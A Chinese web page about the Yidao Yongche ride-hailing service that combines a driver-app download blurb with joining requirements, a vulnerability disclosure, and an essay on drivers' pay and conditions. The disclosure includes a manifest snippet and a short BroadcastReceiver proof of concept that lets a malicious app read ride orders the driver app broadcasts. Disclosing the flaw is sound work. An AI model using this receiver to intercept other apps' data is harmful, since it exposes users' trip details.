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【怎样成为易到用车司机】易到用车司机端android版v4.3.2官方司机版
易到用车司机加盟要求？易到用车司机加盟条件？易到用车是联网预约车服务平台，易到用车24小时快捷用车,随叫随到，小编给大家带来易到用车司机端android版v4.3.2官方司机版以及怎么加盟易到用车司机，希望能够帮到大家。 官方介绍 “易到用车”司机版，是为专车司机量身打造的应用。通过它，司机师傅可以接到来自“易到用车”乘客的用车需要。中国最大的专车服务平台，最智能的信息推送，接单畅通无阻！& 【高效】派单准确高效& 【省心】结算方便快捷& 【正规】全国千余家租赁公司合作，规模最大& 开通城市：& 目前已开通北京、上海、广州、深圳……等74个城市。国外也开通东京、伦敦、凤凰城、奥克兰、悉尼、旧、曼彻斯特、洛杉矶等城市。 怎么加盟易到用车司机 1、应聘司机需要登记个人信息，还要进行面试。& 2、个人应聘司机，对于驾龄并无强制规定，只需要有驾驶证，并且通过简单的路考即可上路。& 3、对成都易到用车司机个人形象的考核也会成为面试的环节，易到用车要求司机必须按公司统一标准着装。& 4、成都易到用车司机加盟者需带上身份证、驾驶证、行驶证、银行卡、保险单到公司登记，并安装司机版“易到用车”。& 5、从业人员取得相应资格后方可上岗作业& 易到用车司机加盟者申请从事道路运输经营以及道路运输相关业务的，应当具备我国《道路运输条例》规定的条件，并依法向县级以上道路运输管理机构提交开业申请及资料。经申请予以许可的，将颁发相关许可证明。申请人凭经营许可证办理工商登记手续。从事道路运输和经营的从业人员按规定取得相应资格后方可上岗作业。分享漏洞：
披露状态：
： 细节已通知厂商并且等待厂商处理中
： 厂商已经确认，细节仅向厂商公开
： 细节向第三方安全合作伙伴开放
： 细节向核心白帽子及相关领域专家公开
： 细节向普通白帽子公开
： 细节向实习白帽子公开
： 细节向公众公开
简要描述：
易到用车司机端接收到新订单时发送的广播可以被其他APK接收，并且读取其中的用户租车信息。
详细说明：
&receiver android:name=&.PushMsgReceiver& &
&intent-filter&
&action android:name=&ponent.groundhog.RECEIVED_MESSAGE& /&
&/intent-filter&
&/receiver&
恶意APK注册该广播后，可以用如下代码获取用户租车信息：
public class PushMsgReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
// by 爱加密
String str = intent.getAction();
System.out.println(str);
String str2 = intent.getExtras().getString(&message&);
System.out.println(str2);
漏洞证明：
修复方案：
版权声明：转载请注明来源 @
厂商回应：
危害等级：中
漏洞Rank：8
确认时间： 15:58
厂商回复：
十分感谢对易到安全的关注
最新状态：
漏洞评价：
对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
登陆后才能进行评分
不知洞主可否留个联系方式，给个机会表下谢意送份薄礼呀
接收到了之后……？我可以应答不，哈哈
估计发现者也是一位车主，没事抢别人的单~
@wefgod @北漂周 是被同设备的其他APP接收，不是被其他设备接收吧。SO，不存在抢别人单的说法
@鸟云厂商 有权限就是好
broadcast receiver的问题吧，需要有第三方应用
@鸟云厂商 这个意思啊，哈。可以获取到啥信息
很多正规app的hook就在来电来短信这些上面，一来短信就唤醒。还有劫持url scheme。比如某豆荚
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易到用车司机生存现状调查
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成立3年多，易到在我看来已经从一家小众创业公司，逐步成为一种现象。它是移动互联网对特定领域的跃进式革新，比如将“黑车合法化”（某种意义上）、创造了新的就业机会、提升了出租用车的使用体验。
即便Uber的交互设计再出色，也没有易到用车接地气。这是我作为一名资深用户的结论。虽然Uber在国内被描述为美国的“滴滴打车”，但真正与其对标的应该是易到才是。
值易到打进美利坚帝国（纽约、旧金山、凤凰城）之际，我向周航大叔以及易到团队表示祝贺。我敢说，在万千用户中，没有人比我更深刻地记录了每次使用体验。
此文会向大家讲两个故事，说说易到用车到底是什么？它创造了什么（包括问题）？它在改变些什么？文中所包含的一些事实与数据，都来自我与司机的聊天，绝非杜撰。若记忆有偏差，敬请指正。
第一个故事，是关于一位兼职司机的。
易到的司机分三种，即兼职、全职与聘用全职。这三种司机都要与易到以及第三方租赁公司签约，自己的私家车符合要求，经过培训后即可上岗。前两种的区别是每天在岗时常，基本上是想干就干，不相干也没人逼你接单，没有本质的不同。只不过全职的人把易到当成了主业而已。
这里先讲一位兼职司机的故事。姓氏我就不透露了，以免被易到查到，我称他为君越哥。这位君越哥是我使用易到一年多来见到的最有特点的一位。之所以叫君越哥，是因为他在易到登记的车型是一辆别克君越。
有意思的地方在于，他的头像显示的却是一辆BMW新3系，并打着两句标语：“宝马接单”、“英语司机”。当时下单的时候真是眼前一亮，但还是持有怀疑态度，是不是为了拉单子故意所为？
次日早晨，司机如约而至，果然开的是一辆3系。司机告诉我，他确实有一辆君越，但油耗太高，所有索性换3系接单，或许还能提升中单率。这位司机看起来30岁上下，据其称经常接送外宾，所以具备一定的英语水平。
由于易到不支持通过司机的特别技能筛选车辆，所以君越哥只能把英语这个特长写在了头像上，希望能引起注意。如果某公司为外国人来宾预定车辆的话，这绝对是提升中单率的筹码。
与君越哥聊天得知，他本身在物流行业做销售，但基本上每月拉上几个订单就没事了，所以才有大把的时间做易到。至于收入，他并没详细透露。但从与其他兼职司机的谈话中，我总结出大致的区间是元人民币。收入，不是利润。对绝大多数的兼职司机来说，能出个油钱就不错。尤其是对于南京等只有300辆规模的城市的司机来说。而京沪两地，分别有5000多辆车与2000多辆车，订单数比较多，一些兼职司机利用业余时间也能赚个几千元的收入。
这就是一位易到兼职司机的情况。
接下来讲一位令我印象深刻的全职司机，称其为索八叔。顾名思义，这是一位开北京现代索纳塔八代的中年大叔。这位大叔，首次向我披露了易到真正的全职司机的一些情况。
上面说到全职分普通的全职与聘用的全职。前者与兼职没有实质却别，而后者之所以叫做聘用全职，毫无疑问就是受易到方面支配的司机。这是2014年5月份刚刚引入的一项新制度，目的是为了解决司机的挑单问题。
成为聘用制的司机后，易到每月为司机发放固定的12000元薪资，但与司机签约的租赁公司还有从这笔钱中扣除一部分费用。所以，根据不同的租赁公司，聘用司机每个月领到手的薪资在这个区间内。
索八叔每个月可以领9800元。条件是，他每周6天、每天8小时要为易到全职服务，此期间订单收入全部归易到所有。剩余时间则可以自由支配，此期间收入按照10%的管理费分账。
这个8小时的时间段司机可以自己选择，比如早上8点至下午4点，或者下午4点至晚上12点。在此期间内，司机只有有新订单就必须接单，具体KPI我记不清了，貌似是必须抢20单的样子，也就是必须抢单，但不一定接成。
我对司机说，这样的制度岂不是很舒服，每个月领固定的万把块钱，然后剩余时间再赚点。可是司机说，其实还是很累的。他现在所追求的，就是每个月能利用剩余时间把油钱赚出来，然后这9800就相当于净赚了。
这么看来，一个聘用司机，每个月非常辛苦地接单，也无非就是赚一个初级白领的月薪，而且还没有五险一金、社保以及奖金之类的。
最重要的，这是一个具有一定危险性的工作，因为每天大部分时间都在路上开车。同时，司机的精神高度紧张，不但要确保完成接单数，同时还要准确估算里程、时间甚至交通拥堵状况。因为如果晚到或被投诉，司机就会面临着被禁止接单一周（或更长）的惩罚。
所以，易到司机是个“危险”工种。前文所说的那个开3系的兼职司机，就是因为受不了这种压力才选择兼职。
一般来说，年轻的司机都选择兼职或普通全职，而一些年长的司机则更倾向这种聘用的全职。
看完这两个故事，你大概能了解易到是什么了。成立3年多，易到在我看来已经从一家小众创业公司，逐步成为一种现象。它是移动互联网对特定领域的跃进式革新，比如将“黑车合法化”（某种意义上）、创造了新的就业机会、提升了出租用车的使用体验。
但是，易到面临的挑战也是非常大的。最初两年，易到的优惠券力度很大，价格也很高。当时，一些司机每个月能有2至3万的收入，因为最低消费高，司机的保底收入就是80元。现在则不复从前。
AA租车与Uber的出现，把易到的价格瞬间拉低。4月份，由于调整为起步半价，司机没有了80元的保底收入，所以我明显感觉抢单率骤降。有一次在上海，短距离用车（2-5km）几乎没人接单，连下两次才有一位顺路的司机接单了。
这种短距离无人接单的问题，目前已经得到了一定的缓解。但很多司机依然青睐接机、送机或者里程更长的服务。跟某位司机聊，他更是告诉我自己喜欢在半夜出来做送机或接机的单子，不但有机场服务费，还有夜间服务费，更关键的是不会堵车。
所以，有一次我在凌晨一点降落在郑州机场，易到上竟然刷出了十几个接单的。就这样，司机从30km远的市区驱车到机场，又把我们接回了市区。
除了挑单，易到还面临其他问题。比如各种优惠券泛滥，导致用户对易到的忠诚度取决于优惠券的面值与数量。优惠券增加后，司机感觉订单量明显增多。而真正的付费用户到底有多少，这个也不得而知。
此外，在被携程入股后，易到目前约有50%以上的订单是来自携程的。不知你是否注意过，在携程购买机票时，有一个接送机选项，勾选后该服务可与机票一起结算。这项服务，就是由易到负责提供的。
目前，易到已经覆盖了国内74座城市，加上新增加的纽约、旧金山以及凤凰城，一共有77座城市。
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